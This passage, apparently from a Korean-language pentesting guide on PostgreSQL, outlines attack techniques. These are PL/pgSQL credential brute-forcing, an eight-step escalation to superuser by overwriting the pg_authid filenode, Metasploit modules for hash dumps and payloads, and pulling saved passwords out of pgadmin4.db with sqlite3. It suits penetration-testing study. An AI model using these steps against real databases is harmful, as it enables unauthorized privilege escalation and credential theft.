### PL/pgSQL을 통한 패스워드 브루트포스 **PL/pgSQL**은 SQL에 비해 더 큰 절차적 제어를 제공하는 **완전한 프로그래밍 언어**입니다. 이는 **루프** 및 기타 **제어 구조**를 사용하여 프로그램 논리를 향상시킬 수 있게 해줍니다. 또한, **SQL 문** 및 **트리거**는 **PL/pgSQL 언어**를 사용하여 생성된 함수를 호출할 수 있는 기능을 가지고 있습니다. 이 통합은 데이터베이스 프로그래밍 및 자동화에 대한 보다 포괄적이고 다재다능한 접근 방식을 허용합니다.\ **이 언어를 악용하여 PostgreSQL에 사용자 자격 증명을 브루트포스하도록 요청할 수 있습니다.** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md {{#endref}} ### 내부 PostgreSQL 테이블 덮어쓰기를 통한 권한 상승 > [!NOTE] > 다음 권한 상승 벡터는 모든 단계가 중첩된 SELECT 문을 통해 수행될 수 있으므로 제한된 SQLi 컨텍스트에서 특히 유용합니다. **PostgreSQL 서버 파일을 읽고 쓸 수 있다면**, 내부 `pg_authid` 테이블과 관련된 PostgreSQL 디스크상의 파일 노드를 덮어쓰는 방식으로 **슈퍼유저가 될 수 있습니다**. **이 기술**에 대해 더 읽어보세요 [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.** 공격 단계는 다음과 같습니다: 1. PostgreSQL 데이터 디렉토리를 얻습니다. 2. `pg_authid` 테이블과 관련된 파일 노드에 대한 상대 경로를 얻습니다. 3. `lo_*` 함수를 통해 파일 노드를 다운로드합니다. 4. `pg_authid` 테이블과 관련된 데이터 유형을 가져옵니다. 5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)를 사용하여 [파일 노드를 편집합니다](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); 모든 `rol*` 불리언 플래그를 1로 설정하여 전체 권한을 부여합니다. 6. `lo_*` 함수를 통해 편집된 파일 노드를 다시 업로드하고, 디스크의 원본 파일을 덮어씁니다. 7. _(선택 사항)_ 비싼 SQL 쿼리를 실행하여 메모리 내 테이블 캐시를 지웁니다. 8. 이제 전체 슈퍼관리자의 권한을 가지게 됩니다. ## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` ### 로깅 _inside the **postgresql.conf** 파일에서 postgresql 로그를 활성화할 수 있습니다:_ ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` 그런 다음, **서비스를 재시작**합니다. ### pgadmin [pgadmin](https://www.pgadmin.org)은 PostgreSQL을 위한 관리 및 개발 플랫폼입니다.\ _**pgadmin4.db**_ 파일 안에서 **비밀번호**를 찾을 수 있습니다.\ 스크립트 안의 _**decrypt**_ 함수를 사용하여 이를 복호화할 수 있습니다: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from server;" string pgadmin4.db ``` ### pg_hba PostgreSQL에서 클라이언트 인증은 **pg_hba.conf**라는 구성 파일을 통해 관리됩니다. 이 파일은 각 연결 유형, 클라이언트 IP 주소 범위(해당되는 경우), 데이터베이스 이름, 사용자 이름 및 일치하는 연결에 사용할 인증 방법을 지정하는 일련의 레코드를 포함합니다. 연결 유형, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증이 실패할 경우 대체나 백업이 없습니다. 일치하는 레코드가 없으면 접근이 거부됩니다. pg_hba.conf에서 사용할 수 있는 비밀번호 기반 인증 방법은 **md5**, **crypt**, 및 **password**입니다. 이 방법들은 비밀번호가 전송되는 방식에서 차이가 있습니다: MD5 해시, crypt 암호화 또는 일반 텍스트. crypt 방법은 pg_authid에서 암호화된 비밀번호와 함께 사용할 수 없다는 점에 유의해야 합니다. {{#include ../banners/hacktricks-training.md}}
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\ 오늘 바로 접근하세요: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}